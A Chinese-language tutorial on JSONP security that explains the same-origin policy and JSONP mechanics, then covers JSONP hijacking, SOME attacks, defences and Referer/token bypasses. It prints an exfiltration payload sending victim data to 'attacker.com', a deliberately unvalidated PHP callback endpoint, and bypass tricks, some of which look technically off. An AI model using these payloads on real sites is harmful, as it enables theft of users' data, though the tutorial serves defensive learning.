jsonp的一些安全问题
字数 1110 2025-08-25 22:58:29
JSONP 安全风险与防护指南
一、同源策略基础
同源策略(Same-Origin Policy)是浏览器最核心的安全策略之一,它规定:
- 主机(domain)、端口(port)、协议(protocol)必须完全一致才视为同源
- 例如
www.p1k.com的同源只有www.p1k.com本身
二、JSON与JSONP的区别
JSON (JavaScript Object Notation)
- 基于文本的轻量级数据交换格式
- 原生被JavaScript支持
JSONP (JSON with Padding)
- 一种协议/使用模式,利用
<script>标签的跨域能力绕过同源策略 - 原理:通过动态创建
<script>标签,其src属性指向跨域API
三、JSONP实现机制
1. 基础实现
<script>
function test(data){
alert("name:"+data.name+"city:"+data.city);
}
</script>
<script src="http://www.p1k.com/data.js"></script>
data.js内容:
test({
"name": "p1k",
"city": "china"
});
2. 动态回调实现
<script>
function test1(data){ alert("name:"+data.name+"city:"+data.city); }
function test2(data){ alert("name:"+data.name); }
</script>
<script src="http://www.p1k.com/data.php?callback=test2&name=p1k"></script>
服务器端(PHP):
$data = array("name"=>$_GET['name'], "city"=>"China");
$callback = $_GET['callback'];
exit($callback."(".json_encode($data).")");
3. jQuery实现
$.ajax({
type: "get",
url: "http://www.p1k.com/data.php?name=p1k",
dataType: "jsonp",
jsonp: "callback",
jsonpCallback:"test1",
success: function(data){
alert("name:"+data.name+"city:"+data.city);
},
error: function(){
alert('fail');
}
});
四、JSONP安全风险
1. JSONP劫持 (CSRF变种)
攻击原理:
- 目标站点未验证Referer头
- 攻击者可构造恶意页面窃取用户数据
攻击示例:
<script>
function csrf(data){
// 将数据发送到攻击者服务器
new Image().src="http://attacker.com/steal?data="+JSON.stringify(data);
}
</script>
<script src="http://victim.com/api?callback=csrf"></script>
2. SOME攻击 (Same Origin Method Execution)
攻击条件:
- 同源策略限制(与JSONP劫持不同)
- callback参数可控
攻击过程:
- 通过
window.open或iframe打开目标页面 - 利用callback参数执行敏感操作(如自动关注、授权等)
示例代码:
<script>
function start_some() {
window.open("some2.html");
location.replace("http://victim.com/secret.html");
}
setTimeout(start_some(), 1000);
</script>
五、防护措施
1. 防御JSONP劫持
-
Referer验证:
if ($_SERVER['HTTP_REFERER'] !== 'http://trusted-domain.com/') { exit("非法访问"); } -
Token验证:
session_start(); if ($_GET['token'] !== $_SESSION['api_token']) { exit("非法访问"); }
2. 防御SOME攻击
-
回调函数白名单:
$allowed_callbacks = ['safeCallback1', 'safeCallback2']; if (!in_array($_GET['callback'], $allowed_callbacks)) { exit("非法回调函数"); } -
注册回调机制:
// 客户端先注册回调函数 API.registerCallback('myCallback', function(data){...});
3. 其他防护
- 限制callback函数名格式(如只允许字母数字)
- 设置CORS头部替代JSONP
- 对敏感操作要求二次验证
六、绕过防护的方法
1. 绕过Referer检查
-
data URI方案:
<script src="data:text/html,<script>function steal(d){...}</script>"></script> -
HTTPS→HTTP降级:
<!-- 从HTTPS页面跳转到HTTP会清空Referer --> <a href="http://attacker.com/exploit.html">点击这里</a>
2. 绕过Token验证
- 通过XSS或其他漏洞获取有效Token
- 利用子域漏洞(如
a.victim.com获取victim.com的Token)
七、实际案例分析
参考案例:
八、最佳实践建议
- 优先考虑使用CORS替代JSONP
- 必须使用JSONP时:
- 严格验证Referer
- 实现CSRF Token机制
- 限制callback函数名格式
- 敏感操作应:
- 要求用户交互确认
- 记录操作日志
- 提供撤销机制